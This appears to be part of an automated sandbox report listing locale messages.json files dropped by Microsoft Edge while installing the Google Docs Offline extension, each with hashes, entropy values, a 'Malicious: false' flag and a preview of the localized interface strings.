Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Reputation:	unknown
